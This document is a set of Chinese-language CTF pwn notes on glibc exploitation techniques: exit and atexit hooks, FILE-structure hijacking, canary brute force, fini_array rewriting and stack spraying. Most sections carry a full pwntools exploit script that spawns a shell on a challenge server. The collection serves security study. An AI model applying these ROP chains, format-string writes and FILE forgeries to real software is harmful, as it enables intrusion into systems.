本来旧版本可以打exit_function→fun[],但里面的地址xor了fs:[0x30]所以无法修改

注意到最后有个elf_set___libc_atexit_elementIO_cleanup的地址,里面保存了io_cleanup

这个函数地址没有校验,就打这个

one_gadget一把锁

后续 libc-2.24以后,对于这个exit_function_list的地址都做了异或,所以不能再修改这个了

image.png

但由于exit调用传入的run_list_atexit是true,所以可以使用RUN_HOOK

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Run all the functions hooked on the set called NAME.
Each function is called like this: `function ARGS'. */

# define RUN_HOOK(NAME, ARGS) \
do { \
void *const *ptr; \
for (ptr = (void *const *) symbol_set_first_element (NAME); \
! symbol_set_end_p (NAME, ptr); ++ptr) \
(*(__##NAME##_hook_function_t *) *ptr) ARGS; \
} while (0)

这里修改一下就是
do {
void *const *ptr;
for (ptr = (void *const *) symbol_set_first_element (__libc_atexit); \
! symbol_set_end_p (__libc_atexit, ptr); ++ptr) \
(*(__##__libc_atexit##_hook_function_t *) *ptr) (); \
} while (0)
#define symbol_set_first_element(set) ((void *const *) (&__start_##set))
#define symbol_set_end_p(set, ptr) ((ptr) >= (void *const *) &__stop_##set)
do {
void *const *ptr= (void *const *) ((void *const *) (&__start_##__libc_atexit))
for (;! symbol_set_end_p (__libc_atexit, ptr); ++ptr)
(*(__##__libc_atexit##_hook_function_t *) *ptr) ();
} while (0)

由于__libc_atexit其实是libc里面的一个段,所以我们就相当于遍历这个段里面的所有指针,对于一案的libc来说,里面其实只有一个函数指针的长度,在libc_2.34中这个函数指针就是_IO_cleanup,我们如果把这个里面保存的值修改了,那么我们就相当于也是hook住了函数

RUN_HOOK展开,把glibc源码里面的定义放到c里面

写如下程序

1
2
3
4
5
6
7
8
9
10
11
12
#define symbol_set_first_element(set)	((void *const *) (&__start_##set))
#define symbol_set_end_p(set, ptr) ((ptr) >= (void *const *) &__stop_##set)
# define RUN_HOOK(NAME, ARGS) \
do { \
void *const *ptr; \
for (ptr = (void *const *) symbol_set_first_element (NAME); \
! symbol_set_end_p (NAME, ptr); ++ptr) \
(*(__##NAME##_hook_function_t *) *ptr) ARGS; \
} while (0)
int main(){
RUN_HOOK (__libc_atexit, ());
}

gcc 1.c -E

1
2
3
4
5
6
7
int main(){
do {
void *const *ptr= (void *const *) ((void *const *) (&__start___libc_atexit));
for (; ptr<(void *const *) &__stop___libc_atexit; ++ptr)
(*(____libc_atexit_hook_function_t *) *ptr) ();
} while (0);
}

&start_libc_atexit就是__libc_atexit的段起始地址

&stop_libc_atexit就是__libc_atexit的结束地址

IO

flush

seccon2022-babyfile

见csdn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chall"
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc


if len(sys.argv) > 1:
remote_ip = "babyfile.seccon.games"
remote_port =3157
io = remote(remote_ip, remote_port)
else:
io = process(parm)




def flush():
sla("> ", "1")

def modify(off, val):
sla("> ", "2")
sla("offset: ", str(off))
sla("value: ", str(val))

def change(off,val):
for i in range(8):
modify(off,val&0xff)
off+=1
val=val>>8

def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


modify(0xd8,0xa8)
flush()

modify(0xd8,0xa0)
modify(8*5,0x40)#随便一个,只要保证_IO_write_base!=_IO_write_ptr即可
flush()

modify(8*14,1)#fileno
modify(8*5,0x78)#wirte_ptr
modify(8*4,0x70)#write_base
modify(8*2,0x70)#_IO_read_end=write_base
flush()
libc_base=u64(ru(b"\x7f").ljust(8,b"\x00"))+0x7f60d3a44000-0x7f60d3c2cf60

__pointer_chk_guard_addr=libc_base+0x1f3570#大本地就是0x1f35f0
change(8*5,__pointer_chk_guard_addr+0x8)#write_ptr
change(8*4,__pointer_chk_guard_addr)#write_base
change(8*2,__pointer_chk_guard_addr)#read_end
flush()
__pointer_chk_guard=u64(r(8))

_IO_cookie_jumps=libc_base+0x1e8a20
system_addr=libc_base+libc.sym["system"]
func_value=ROL(system_addr^__pointer_chk_guard,0x11)#需要异或左移一下
change(0xf0,func_value)#指针的值
change(0xd8,_IO_cookie_jumps+0x18)#修改vtable对到write
change(0xe0,libc_base+0x1b45bd-0x100000000)#这里是bin/sh的地址,但不知道为什么它会多0x100000000,所以就减掉了
flush()

it()

scanf

espcially_tu_2016

BUUCTF在线评测 (buuoj.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pop_one_ret=0x0804839d
bss_addr=0x804a300
leave_ret=0x08048488
pop_two_ret=0x0804864e
pop_ebp_ret=pop_two_ret+1
sla(b"What's your name?\n",b"a"*0x2c+p32(elf.plt["puts"])+p32(pop_one_ret)+p32(elf.got["puts"])+p32(elf.plt["puts"])+p32(pop_one_ret)+p32(elf.got["puts"])+p32(0x8048410)+p32(pop_two_ret)+p32(0x80486AF)+p32(bss_addr)+p32(0x8048410)+p32(pop_two_ret)+p32(0x80486AF)+p32(bss_addr+8)+p32(pop_ebp_ret)+p32(bss_addr-4)+p32(leave_ret))
sla(b"What's your favorite number?\n",b"1")
ru(b"number!\n")
libc_base=u32(ru(b"\xf7"))-libc.sym["puts"]
#sleep(1)
sl(str(libc_base+libc.sym["system"]-(1<<32)))
sl(str(libc_base+next(libc.search(b"/bin/sh"))-(1<<32)))
#s(p32(libc_base+libc.sym["system"])+p32(0)+p32(libc_base+next(libc.search(b"/bin/sh"))))
it()

fclose

xman夏令营选排位赛_2018_challenge1

BUUCTF在线评测 (buuoj.cn)

一个简答利用伪造IO进行的题目

利用点是fclose,通过溢出把stream地址改为我们的bss

由于_IO_un_link不可以伪造,所以0x2000 _IO_IS_FILEBUF 的值,由于flag刚好是io的第一个头,所以2对应的那个bit不可以是1

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0)
_IO_funlockfile (fp);
}
# define _IO_funlockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) \
_IO_lock_unlock (*(_fp)->_lock)
#endif
#define _IO_lock_unlock(_name) \
do { \
if (--(_name).cnt == 0) \
{ \
(_name).owner = NULL; \
lll_unlock ((_name).lock, LLL_PRIVATE); \
} \
} while (0)

所以这里面不能去调用,所以#define **[_IO_USER_LOCK](https://elixir.bootlin.com/glibc/glibc-2.23/C/ident/_IO_USER_LOCK)** 0x8000,所以8对应的这个bit应该为1

这一步无所谓,因为if肯定为false根据第一部的伪造

image.png

实际好像release这里没什么效果,因为我确实页没有上锁,跳过了,_IO_FINISH刚好是jmp table里面的所以可以劫持,刚好位于vtable+0x10偏移

image.png

所以开始攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 修改stream的地址为我们的伪造
fake_stream = b"a" * 0x100 + p64(0x6010C0)#这里因为是gets,所以不能有0
sla(b">", b"1")
sl(fake_stream)
fake_file = b"a" * 0xD8 + p64(0x6010C0)#修改vtable地址
sla(b">", b"1")
sl(fake_file)
sla(b">", b"1")
fake_vtable = b"a" * 0x10 + p64(0x400897)#修改function为backdoor
sl(fake_vtable)
sla(b">", b"1")
sl(b"a\x80")#只用修改这一位为1就好
sla(b">", b"3")
it()

close

d3ctf_2019_unprintablev

BUUCTF在线评测 (buuoj.cn)

覆盖stdin位stderr达到回显一次的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from git import RootUpdateProgress
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./d3ctf_2019_unprintablev"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0xF1147, 0x45216, 0x4526A, 0xF02A4]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25356
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0xA20)
b *$rebase(0xB57)
c
set *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2
c
c

c
c
c
c
c
c
c
c
c
c
c
c

c
c
c
c
c
c
c
c
c
c
c
c
c
"""
gdb.attach(io, gdbscript=gdbscript)

# 16~96
def add(size: int):
sla(b">> ", b"1")
sa(b"size: ", str(size).encode())

def free(index: int):
sla(b">> ", b"3")
sla(b"offset: ", str(index).encode())

# def show(index: int):
# sla(b"choice :\n", b"2")
# sla(b"input note id: ", str(index).encode())

def edit(index: int, content: bytes):
sla(b">> ", b"2")
sla(b"age of user: ", str(index).encode())
sa(b"username: ", content)

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

ru(b"gift: ")
stack_addr = int(r(14), 16)
ru(b"test!\n")
s(f"%{(stack_addr&0xff)}c%6$hhn")
sleep(0.5)
s(f"%{0x20}c%10$hhn")
sleep(0.5)
s(f"%{0x1680}c%9$hn")

# debug()

# 泄露libc
s("%15$p+%14$p")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 231
ru(b"+")
elf_base = int(r(14), 16) - elf.sym["__libc_csu_init"]

# 修改ret_addr为leave,ret
leave_ret = 0x9F8 + elf_base
ret_addr = stack_addr + 0x30
while leave_ret != 0:
s(f"%{ret_addr&0xff}c%6$hhn")
sleep(0.5)
s(f"%{leave_ret&0xff}c%10$hhn")
sleep(0.5)
ret_addr += 1
leave_ret = leave_ret >> 8

buf_addr = 0x202060 + elf_base
rbp_addr = stack_addr + 0x28
while buf_addr != 0:
s(f"%{rbp_addr&0xff}c%6$hhn")
sleep(0.5)
s(f"%{buf_addr &0xff}c%10$hhn")
sleep(0.5)
rbp_addr += 1
buf_addr = buf_addr >> 8

# 修复rbp
rbp_addr = stack_addr + 0x28
s(f"%{rbp_addr&0xff}c%6$hhn")

shellcode = f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("././flag")};
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,rsp
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""
mprotect_addr = libc_base + libc.sym["mprotect"]
pop_rdi_ret = 0xBC3 + elf_base
pop_rsi_ret = 0x23E6A + libc_base
pop_rdx_ret = 0x1B96 + libc_base
buf_addr = 0x202060 + elf_base
payload = (
b"d^3CTF\0\0"
+ p64(pop_rdx_ret)
+ p64(7)
+ p64(pop_rsi_ret)
+ p64(0x1000)
+ p64(pop_rdi_ret)
+ p64(buf_addr & 0xFFFFFFFFFFFFF000)
+ p64(mprotect_addr)
+ p64(buf_addr + 0x48)
+ asm(shellcode)
)
s(payload)
it()

stdin任意地址写

whctf2017_stackoverflow

BUUCTF在线评测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sa(b"bro:", b"a" * 79 + b"b")
ru(b"b")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["_IO_2_1_stdout_"]
sla(b"stackoverflow: ", str(7100704 - 0x18).encode())
sla(b"stackoverflow: ", str(0x300000).encode())
sa(b"ropchain: ", b"a")

malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
sa(b"stackoverflow: ", b"a" * 0x18 + p64(malloc_hook_addr) + p64(malloc_hook_addr + 8))
sa(b"padding and ropchain: ", b"a")

for i in range(0x27):
sa(b"padding and ropchain: ", b"a")
sa(b"stackoverflow: ", p64(libc_base + 0xF1147))
it()

ciscn2018_echo_back

BUUCTF在线评测

修改IO_buf_base,之后再scanf的时候调用___IO_new_file_underflow实现往_IO_buf_base开始写入地址,就可以覆盖到buf_base,buf_ptr.这个时候同时修改他们,指向我们的ret_addr,就可以达到写入rop的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def setname(name: bytes):
sa(b"choice>> ", b"1")
sa(b"name:", name)

def echoback(payload: bytes):
sa(b"choice>> ", b"2")
sla(b"length:", b"7")
s(payload)

echoback(b"%19$p")
ru(b"say:")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240
echoback(b"%12$p")
ru(b"say:")
ret_addr = int(r(14), 16) + 8
_IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_"]
_IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56
setname(p64(_IO_2_1_stdin_addr__IO_buf_base))
echoback(b"%16$hhn")

sa(b"choice>>", b"2")
sa(b"length:", b"a" * 0x18 + p64(ret_addr) + p64(ret_addr + 0x20))
s(b"a")
for i in range(0x27):
echoback(b"a")
pop_rdi_ret = 0x21102 + libc_base
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
system_addr = libc_base + libc.sym["system"]
sa(b"choice>>", b"2")
sa(b"length:", p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr))
s(b"a")
sa(b"choice>>", b"3")
it()

劫持_rtld_global函数

_dl_rtld_unlock_recursive

hctf2018_the_end

BUUCTF在线评测 (buuoj.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ru(b"gift ")
libc_base = int(r(14), 16) - libc.sym["sleep"]
ld_base = libc_base + 0x3F1000
ld = ELF("./ld-2.27.so")
_dl_rtld_unlock_recursive = ld_base + ld.sym["_rtld_global"] + 0xF08
one_gadget_addr = libc_base + one_gadget[1]

s(p64(_dl_rtld_unlock_recursive))
s(p8(one_gadget_addr & 0xFF))
s(p64(_dl_rtld_unlock_recursive + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(_dl_rtld_unlock_recursive + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))
s(p64(_dl_rtld_unlock_recursive + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(_dl_rtld_unlock_recursive + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))

sl(b"exec 1>&0")
it()

alloca

secconctf2016_cheer_msg

这个题目主要是可以把alloca的参数变成负数,这样就会导致栈迁移方向改变,进而在造成溢出
如果控制的好的话,这里eax就是alloca参数,如果eax是负数,那么esp就会变大,进而造成栈溢出修改main函数的返回地址
image.png

1
2
3
4
5
6
7
8
sla(b"Message Length >> ",str(-0x80))
payload=b"a"*0x10+p32(elf.plt["printf"])+p32(elf.sym["main"])+p32(elf.got["printf"])#main函数栈溢出
sla(b"Name >> ",payload)
libc_base=u32(ru(b"\xf7")[-4:])-libc.sym["printf"]
sla(b"Message Length >> ",str(-0x80))
payload=b"a"*0x10+p32(libc_base+libc.sym["system"])+b"a"*4+p32(libc_base+next(libc.search(b"/bin/sh\0")))
sla(b"Name >> ",payload)
it()

溢出覆盖关键内容

canary异常处理

checker_seccon_2016

image.png
不过这个高版本被修复了,没有__libc_argv了
image.png
所以只要覆盖__libc_argv[0]处为指向我们想要泄露的内容就可以 p __libc_argv

1
2
3
4
5
6
sla(b"NAME : ",b"a")
for i in range(8):
sla(b">>",b"a"*(0x180-i))#清空内容为\x00
sla(b">> ",b"yes")
sla(b"FLAG : ",b"a"*0x178+p64(0x6010C0))#这里不清空高位的话会错误
it()

另一种

pwnable_loveletter

溢出覆盖memcpy长度
这里的第一个字符串是e,如果只复制过来一个,那就是e
image.png
可以利用env sh -c bash aaaaaa
sh -c bash aaaaa,会忽视第二个参数,不管第二个输入什么,刚好可以过滤掉我们的脏内容
image.png
刚好size是在之前保存的,可以溢出
这里实现有问题,他会把字符串出现问题的一个字母替换三个,导致溢出,产生漏洞
image.png
所以可以直接溢出
所以整体还是很巧妙的,需要利用各种各样的条件,好题目,env,sh -c的特性也很好

1
2
sl(b"nv sh -c bash".ljust(253,b" ")+b"`\x01")
it()

栈喷

metasequoia_2020_snow_mountain

1
2
3
4
5
ru(b"Current position: ")
stack=int(r(14),16)+0x600
sla(b"> ",asm("nop")*0xf00+asm(shellcraft.sh()))
sla(b"> ",hex(stack)[2:])
it()

比较简单的栈喷

picoctf_2018_gps

BUUCTF在线评测 (buuoj.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ru(b"Current position: ")
stack_addr=int(r(14),16)+0x300
shellcode="""
xor rdx,rdx;
xor rsi,rsi;
push rsi;
mov rax, 0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,59;
syscall
"""
sla(b"> ",b"\x90"*0x900+asm(shellcode))
sla(b"> ",hex(stack_addr)[2:])
it()

能划入shellcode就好

数组越界

wdb-2022-main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./main"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

#b *$rebase(0xF56) malloc调试
# b *$rebase(0x1205) flag测试
# b *$rebase(0x148B) free
# gdbscript = """
# b *$rebase(0x1199)
# c
# """
# db=gdb.debug("./server",gdbscript=gdbscript)
# sleep(1)

if len(sys.argv) > 1:
remote_ip = "39.105.108.53"
remote_port =28784
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


def debug():
global io
#b *0x400E83 MALLOCz
gdbscript = """
b *$rebase(0x145F)
c
x/xg $rebase(0x44C8)
"""
gdb.attach(io, gdbscript=gdbscript)


# def debug_force():
# global io
# io.close()
# gdbscript = """
# b *$rebase(0x145F)
# c
# """
# io=gdb.debug(elf_path,gdbscript=gdbscript)


#0x70
def add(size,data):
sl(b"1")
sa(b"Please enter your data:\n",data)
sa(b"ength of your data:\n",size)

def echo(index):
sl(b"2")
sla(b"number of your data:\n",str(index))

def free(index):
sla(b"Your choice : ", b"2")
sla(b"game's index:\n",str(index))

# def show(index):
# sla(b">> ", b"3")
# sla(b"index> ",str(index))

# def edit(index,content):
# sla(b">> ", b"3")
# sla(b"Index: ",str(index))
# sa(b"Content: ",content)



# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out



ru(b"Type '3' to exit the program")
for i in range(10):
add(b"10",b"1"*0x63+b"1")

add(b"10\n",b"8"*9+b"\n")
echo(-3)
load_addr=u64(rld().ljust(8,b"\0"))+0x5568dd249000-0x5568dd2496b8
add(b"10\n",b"\n")
ru(b"Your entry number 11 is to large\n")
for i in range(9):
add(b"10",b"1"*0x63+b"1")

add(b"1\n",b"1"*0x40+p32(0xfffffffe)+b"\n")
printf_addr=load_addr+elf.plt["puts"]

add(b"10\n ",b"a"*4+p32(printf_addr&0xffffffff)+p16((printf_addr>>32)&0xffff)+b"\n")#-1
add(b"1\n",b"aaaa\n")#0
sl(b"4")
#debug()
ru(b"will be helpful\n")
sl(b"2")
libc_base=u64(rld().ljust(8,b"\0"))-0x7f20043426a0+0x7f2004155000
sla(b"number of your data:\n",b"0")
for i in range(1,10):
add(b"10",b"1"*0x63+b"1")

add(b"1\n",b"1"*0x40+p32(0xfffffffe)+b"\n")
system_addr=libc_base+libc.sym["system"]
add(b"10\n",b"a"*4+p32(system_addr&0xffffffff)+p16((system_addr>>32)&0xffff)+b"\n")#-1
add(b"10\n",b"/bin/sh\0")
sl(b"2")
it()
exit(0)


print(rl())
#debug()
#add(b"\n",b"\n")
#add(b"1\n",b"\n")
#echo(0)

# add(b"1000",b"1"*0x63+b"1")
#add(10,b"a"*0x63)
it()

arr_sun_2016

BUUCTF在线评测 (buuoj.cn)

表面上看上去无法向下溢出

image.png

但是这里汇编实现是可以溢出的

比如说我们像输入v1=0xd

输入0x8000000d就好,这个刚好也是负数

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sa(b"What should I call you? \n",b"a"*9)

sla(b"enter index\n",str(0x8000000d-(1<<32)))
sla(b"enter value\n",str(elf.plt["__isoc99_scanf"]))

pop_2_ret=0x080487ba
sla(b"enter index\n",str(0x8000000e-(1<<32)))
sla(b"enter value\n",str(pop_2_ret))

fmt_s=0x804882F
sla(b"enter index\n",str(0x8000000f-(1<<32)))
sla(b"enter value\n",str(fmt_s))

bss=0x08049B30
sla(b"enter index\n",str(0x80000010-(1<<32)))
sla(b"enter value\n",str(bss))

backdoor=0x804857B
sla(b"enter index\n",str(0x80000011-(1<<32)))
sla(b"enter value\n",str(backdoor))

sla(b"enter index\n",str(0x80000013-(1<<32)))
sla(b"enter value\n",str(bss))
sla(b"enter index\n",str(0x80000013-(1<<32)))
sla(b"enter value\n",str(bss))
sla(b"enter index\n",str(0x80000013-(1<<32)))
sla(b"enter value\n",str(bss))
sla(b"enter index\n",str(0x80000013-(1<<32)))
sla(b"enter value\n",str(bss))
sla(b"enter index\n",str(0x80000013-(1<<32)))
sla(b"enter value\n",str(bss))
sleep(1)
sl(b"/bin/sh\0")
it()

canary爆破

starctf2018_babystack

BUUCTF在线评测 (buuoj.cn)

这个题目比较好,多线程里面canary会被放在栈上,所以可以通过栈溢出修改掉canary的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def send(payload):
sla(b"send?\n", str(len(payload)).encode())
s(payload)

libc = ELF("./libc-2.27.so")
lenss = 0x1800
while True:
io = remote("node4.buuoj.cn", 29614)
canary = 12333222
payload = b"a" * 0x1008 + p64(canary) + b"b" * 8 + p64(0x4009E7)
payload = payload.ljust(lenss, b"a")
payload += p64(canary)
send(payload)
rl()
if b"stack smashing detected" in rl():
io.close()
lenss += 8
else:
io.close()
break
io = remote("node4.buuoj.cn", 29614)
canary = 12333222
pop_rdi_ret = 0x400C03
pop_rsi_r15_ret = 0x400C01
leave_ret = 0x400955
bss_start_addr = 0x602300
payload = (
b"a" * 0x1008
+ p64(canary)
+ p64(bss_start_addr - 8)
+ p64(pop_rdi_ret)
+ p64(elf.got["puts"])
+ p64(elf.plt["puts"])
+ p64(pop_rdi_ret)
+ p64(0)
+ p64(pop_rsi_r15_ret)
+ p64(bss_start_addr)
+ p64(0)
+ p64(elf.plt["read"])
+ p64(leave_ret)
)
payload = payload.ljust(lenss, b"a")
payload += p64(canary)
send(payload)
ru(b"\n")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["puts"]
s(
p64(pop_rdi_ret)
+ p64(libc_base + next(libc.search(b"/bin/sh\0")))
+ p64(libc_base + libc.sym["system"])
)
sleep(0.1)
sl(b"cat flag")
it()

bctf_2018_bugstore

BUUCTF在线评测 (buuoj.cn)

新的利用思路,当知道了libc地址后可以通过爆破修改lts的canary的值

距离libc0x6xx528处,爆破0x100即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for i in range(0xFF + 1):
# io = process(elf_path)
io = remote("node4.buuoj.cn", 26652)
sla(b"Your choice: ", b"F")
s(b"%p%p%p%p%p%p%p%p%plibc:%p")
ru(b"libc:")
libc_base = int(r(14), 16) - 231 - libc.sym["__libc_start_main"]
offset = 0x600528
offset += i << 12
sla(b"choice: ", b"A")
tls_canary_addr = libc_base + offset
sl(str(tls_canary_addr))
try:
sla(b"choice: ", b"S")
one_gadget_addr = one_gadget[1] + libc_base
sl(b"a" * 0x28 + p64(0x45524F5453475542) + b"a" * 8 + p64(one_gadget_addr))
it()
except:
io.close()

picoctf_2018_buffer overflow 3

BUUCTF在线评测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
shell = ssh(host="node4.buuoj.cn", user="CTFMan", port=26682, password="guest")
def brute_force_canary(stack_len: int):
canary = b""
for i in range(4):
for j in range(255):
payload = b"a" * stack_len + canary + p8(j)
io = shell.process("./vuln")
io.sendlineafter(b"Buffer?\n", b"1000")
io.sendafter(b"Input> ", payload)
if b"Stack Smashing Detected" in io.recvline():
io.close()
else:
io.close()
break
canary += p8(j)
return canary

canary = brute_force_canary(32)
payload = b"a" * 32 + canary + b"b" * 0x10 + p32(0x80486EB)
io = shell.process("./vuln")
io.sendlineafter(b"Buffer?\n", b"1000")
io.sendafter(b"Input> ", payload)
io.interactive()

学到了怎么利用ssh远程执行 牛逼

fini_array

pwnable_317

BUUCTF在线评测 (buuoj.cn)

这个题目很不错,学到了很多

漏洞点很明显,任意地址写,不过这里反汇编有点问题,再写过一次后就会被修改,然后就不可以写了,所以我们的目的就是想多次写

image.png

函数执行退出后会去libc_csu_finia

image.png

他会调用fini_array[1],fini_array[0]

那么我们如果把fini_array[1]改成main,fini_array[0]改成libc_csu_finial就可以无限执行main里面地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
fini_arr=0x4B40F0
libc_csu_finial=0x402960
main_addr=0X401B6D
sla(b"addr:",str(fini_arr))
sla(b"data:",p64(libc_csu_finial)+p64(main_addr))

pop_rdi_ret=0x0000000000401696
sla(b"addr:",str(fini_arr+0x10))
sa(b"data:",p64(pop_rdi_ret)+p64(fini_arr+0x58))#这里我们写入bin/sh

pop_rsi_ret=0x0000000000406c30
sla(b"addr:",str(fini_arr+0x20))
sa(b"data:",p64(pop_rsi_ret)+p64(0))

pop_rdx_ret=0x0000000000446e35
sla(b"addr:",str(fini_arr+0x30))
sa(b"data:",p64(pop_rdx_ret)+p64(0))

pop_rax_ret=0x000000000041e4af
sla(b"addr:",str(fini_arr+0x40))
sa(b"data:",p64(pop_rax_ret)+p64(59))

syscall=0x00000000004022b4
sla(b"addr:",str(fini_arr+0x50))
sa(b"data:",p64(syscall)+b"/bin/sh\0")

可以看到我们想把栈迁移到fini_array,但为什么能迁移呢

rbp就是我们fini_array的地址,如果我们再fini_array里面执行leave,就可以完成栈迁移了

image.png

这里由于我们是循环执行main,所以当我们修改完fini_arrya的时候这里执行的是fini_array[0],所以我们把fini_array[0]变成leave_ret,然后栈迁移,这个时候rsp就是fini_array+8,这个时候把finiarray[1]改成ret,然后就可以进入到后面的pop_ret,fini_array[0]和finiarryay[1]再前面布置的过程中不可以修改

allpayloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
fini_arr=0x4B40F0
libc_csu_finial=0x402960
main_addr=0X401B6D
sla(b"addr:",str(fini_arr))
sla(b"data:",p64(libc_csu_finial)+p64(main_addr))

pop_rdi_ret=0x0000000000401696
sla(b"addr:",str(fini_arr+0x10))
sa(b"data:",p64(pop_rdi_ret)+p64(fini_arr+0x58))#这里我们写入bin/sh

pop_rsi_ret=0x0000000000406c30
sla(b"addr:",str(fini_arr+0x20))
sa(b"data:",p64(pop_rsi_ret)+p64(0))

pop_rdx_ret=0x0000000000446e35
sla(b"addr:",str(fini_arr+0x30))
